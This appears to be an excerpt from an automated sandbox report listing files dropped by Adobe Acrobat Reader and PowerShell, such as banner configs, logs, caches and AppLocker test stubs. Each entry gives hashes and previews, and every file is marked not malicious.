SHA1:	09154DCD4E0CB3D8BEA4BE3EE8505FD54E635964
SHA-256:	EBC451864D276F3172ACFB29A1C6A8DAD31EA51026086F14C5810B62FB4AC3FA
SHA-512:	F030B101507FA9FD0AB00D3FB32DD772BA9DAB7727165C92DB1CE952DAD4CA417EE7D6E3FE82EBE56637826222DDB309450388749BAD545339A7A9CE8F86D653
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.323124849210751
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJfYdPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGg8Ukee9
MD5:	0780AA147C1D0BE379676345D4C6C75A
SHA1:	E98585AA17ACAC948D34096681426D3928500F43
SHA-256:	2C682AE54BC85E4CCEA24ABCBDC0BC0DFF62402A4EC835B0CC8AF5A2581F0D88
SHA-512:	4CFB9EAD6687723BB3DB2C279D8ED931677C7CDEECD5093B01801C1A54E69C47654DAE151770A5839D8E6526FC2479D6CCD844CD40636D306CB4D9E7EF88081A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.310163703281035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJf+dPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnG28Ukee9
MD5:	C7C14BE7C2294F099B7887D1090AF67A
SHA1:	4FE0EE1F274B83EEF736588647B6390CA6C2B0CB
SHA-256:	1BCFD44E445F39E0F17203D6C3C49EF7A6934BA4EDC50975A09C4066F6379FF3
SHA-512:	5F0A55288DCC56E539E753B8E1F959EDFA9BBB8F6B9E0B4413F3230790CE1EE6B599D38629805E2D6819409E6D4022964390A02F38FAC52F66114D525963F51F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.306513013213063
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJfbPtdPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGDV8Ukee9
MD5:	98809EA9615592C9C5E8A0A22A89806D
SHA1:	BF9A932BEE6C2632009E8077A4253255AC6F8FE0
SHA-256:	3B8B0B72F6FFEF07E28E8CEFDE290B86483C87DA50DA7BFE91637C63868C0DA7
SHA-512:	DEBFFAC9CB8C9DC56F71816A4887A57A322DC54A8853F636A2AE900403BB64E75C2F330768939B50E131579F5FF0DC2A80DF6139CC29BCA08CB314B11C00E339
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298257653695231
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJf21rPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnG+16Ukee9
MD5:	18D0452C49400F877239E0652B3FD6C3
SHA1:	48BBB100AD45CDCB86BBA94439B35AE1F531FB68
SHA-256:	49F1D6EAD85BFE103E511A6E082B42F6DA5CA9AF3AF7C0FA4766932AA7DDA7CC
SHA-512:	F1BFBDCB06AB1B2D7BC0A0600A34D9F306C4D6BD6124F1CA4E808399FC8DECA170D1DCCA557BAC26FC75424A60482F33F015E2A7EABDD3861DFEA9526FB6DEAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.674559151436207
Encrypted:	false
SSDEEP:	24:Yv6XBROpLT5XIyYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSm7S:YvEUpBXReBgkDMUJUAh8cvM8S
MD5:	C1D41BE556F87297427836CCADFBBB2B
SHA1:	D984BA671F779D1E71EEE339DA7FA08A1DDFDE24
SHA-256:	58252DA1DA1ED5F611A0F15888F4BBB570BE1BE80EF9D0B6C7032116AC8D28D1
SHA-512:	FB07CBB99C15C2D088B7791176E823B364D18B5EB55116E63FA7D42E1E6B0DBA65335BA848A0DE7CD898A0B2549B2DBEBCCC9AC4E1F2B734DF5EAD9FE76ACCCC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.275296487229933
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJfshHHrPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGUUUkee9
MD5:	5C225EEBD460591A63545E3E01E5739A
SHA1:	4A2E128D230FBBDC0AF4E69B5730F65BD53E958B
SHA-256:	1EBCC121A42958D5149B8A5E9E0A24C4D0650D977C925D1342E1ACF148CC006D
SHA-512:	AC9CCD3C05E13E38E76D94BFFCCDB34D6E68F36B57C8E24B09D40573F232E37FF72790C367CF0AAEC27C539613BD885F5A0FCD851B5BB6A364908DED119B9760
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.276265013894366
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBqyJV1FOpWnmSg1c2LjcWkHvR0YQQQUoAvJTqgFCrPeUkwRe9:YvXKXBq0OpWmT5LjIPRQnGTq16Ukee9
MD5:	EE6C1C0EE1FC69FF494139508E691D41
SHA1:	2ABECD3D44E9D614DC5786FA31539EBC2A2E2A2A
SHA-256:	9D46C896942493B7C38175B986659103ECD8B20D0A7B863BCBB34328400A1285
SHA-512:	A55B52086565A61E0B041CC0948E57F4A1A5D94B64B2805B9F2103745C304B4C955B93C5763A4F42198745238B81BB265A7D413D6B30A0E72A37D20C77EEA499
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"682e964f-56b9-4578-9507-279c248ece20","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736760568375,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145555319412777
Encrypted:	false
SSDEEP:	48:YY+9wf5x03N/XWVCWpaD8pKaYrZYKBXMtSMZUy91fCY:q9wBxm/XW4WpaD8pKj3BXMtSG1fCY
MD5:	2583089922E292AAA066ACB3A4611130
SHA1:	394D7353EBCE07168BC44172A5AA41B3ADD84638
SHA-256:	06DB79EE5764934C8F9753E3A61CDF2F4F5FD71E69F80A3FB1662575486CF5DF
SHA-512:	277CCB3955FF30002CCF666E2E26119EB92360349781307463B8C7CC81952A691AF8E732666334F816ACC31CAD42416950CC131C11CC9981F1249D3A6F90E0BC
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"631c9ccbcd89e951c032acc2b1452f49","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736583702000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a589d3a316d9e3abf9d0439cb7aa2420","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736583702000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"93105450b4623a31c3c62fbc9b1ac829","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736583702000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"bc1a45612f245933cd6cdeb595b278a3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736583702000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"89c416d6f114dcc110ec110c121409da","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736583702000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2caadf91b1b25b13579847345b1435a1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3672952184041212
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDujlz8EXKdqEKfS8EKfM1baLlz8EF:Tll2GL7msMcKTlS8fcsujx8fILx1
MD5:	4A142F476B530767957C8CD5C60BC01C
SHA1:	D3571C0BF4CED5892E828ABA813365B22E2B39DF
SHA-256:	CB8F59401DE4B8B57B5BDD1548EA1D6ADA70BBE972383C55CF494146C8E9755C
SHA-512:	6A1089CEB62F96C50E95C092E4D47EE90EFD18923B696E58DA7ED7AA5DD7AB83DE34CF65FE3E27A39809A0F128BB0F7E18E34738084CC6CA1A9A8E3DB6074670
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8434410554273233
Encrypted:	false
SSDEEP:	48:7MoOcKTlS8fcsujxlfIMdqGufl2GL7ms/:7CDfcs6bdKNVms/
MD5:	95DF7A79A25B0CFA4504217BD13916AC
SHA1:	195551B0055D079D19E5299343BE17183F693A88
SHA-256:	51DDEB71180CA25F01450F582C3F98BCFAFB6728B49E7F5397D726953520FBAA
SHA-512:	5F1DBBA33E216FF5F73BC13FE0AF98012914ED75B48356B3EB1CDC51406FEB421F6135140D8BFAB0D35583D12655652B6C92FB4E090B52B5EB45C71A499E550E
Malicious:	false
Preview:	.... .c....... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg//vzCbiSSoseHFZD3dHPCMEYyu:6a6TZ44ADE//vGb35se5CpK
MD5:	9E562C4AA80B40C7789BF330E45510C0
SHA1:	44CF3256CC0667A99E5381DFB92DE04FC96C78AC
SHA-256:	4B53552D4410D7B199DFD3E6E3942EC8171A7284E4454326912B7B0BC29990BA
SHA-512:	8D023C6BE770B004C1B5A9C6284381EF5D2901925F93BCC79B1F645AA7B47D87EA92157F1AEFBB41A59A59ADA14F74DF60169DF1AA2BEC7590030205C04F532E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI697fa.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.499838153709141
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+EgH:Qw946cPbiOxDlbYnuRKdhJ
MD5:	1663730D871E452737E66772028585DE
SHA1:	A58D407A0B0BCB822E9C3176A22BFB72C237C4BF
SHA-256:	32764152900510BA174CDC77B22E059B43DD971071882819715891333E355509
SHA-512:	9C0BDDED2165FB427B481C11AE884E06D9FD18990C81FF8121B8C629D5AE8D902E1388B787194AEED39C83C37361BF343F3516F2AF87BA5B40F35D9CDB97254E
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.2.1.:.4.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3kyx1kb.0ih.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kwfmkjdo.nmu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-21-35-565.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.345486160374619
Encrypted:	false
SSDEEP:	384:I/bubrFQ/hf3CwA31/M5ZaBocSBt4BFnsHD9vzN+qxMLJjz9TSIdD+DiHry1+tNC:wnB
MD5:	7859D2EB0DA3842388B6C8AB260CF68E
SHA1:	79926C56730EAF2B2822F0F0AEB3B6A01F50FE5C
SHA-256:	7C990E84C6A16E87F0E7E03DF316BD1FF4037A17BCD6433C49C12F194F22D586
SHA-512:	424184FCAB31CB3F463A2146F28EC662E7EC01A501FCC6DABD724C3C33D67AE30B95F70233FFD252ED6486A9936064219E9756A5531EC9CC6CFB162A46FC9DF7
Malicious:	false
Preview:	SessionID=f451607f-87a1-415e-a18a-2c921d8c1534.1736583695580 Timestamp=2025-01-11T03:21:35:580-0500 ThreadID=5404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=f451607f-87a1-415e-a18a-2c921d8c1534.1736583695580 Timestamp=2025-01-11T03:21:35:581-0500 ThreadID=5404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=f451607f-87a1-415e-a18a-2c921d8c1534.1736583695580 Timestamp=2025-01-11T03:21:35:581-0500 ThreadID=5404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=f451607f-87a1-415e-a18a-2c921d8c1534.1736583695580 Timestamp=2025-01-11T03:21:35:581-0500 ThreadID=5404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=f451607f-87a1-415e-a18a-2c921d8c1534.1736583695580 Timestamp=2025-01-11T03:21:35:581-0500 ThreadID=5404 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.380585954322827
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbm0cbiI15cbB:8qnXopZ50rJ1W
MD5:	9198C0D8CD709A61620976DE5D3A5608
SHA1:	04D896B91C386ACF8ED5EB0F91CC3A6ADF57A353
SHA-256:	48E0497EA2432CA0E6A2BBE9037087ABF328DA7A5AB949DA5A981BE39AD53DFA
SHA-512:	EDDE14E45D575A87C7C302A1362526FFE61E0D1A7BCD0A29B243DD8747C408A1585CE14A9F01419DEF5689CDFC495C50CAF3A7E41F37A5A6A72C9C844938FF08
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\01b00543-ffcf-41b0-96e0-849bbcffafad.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... 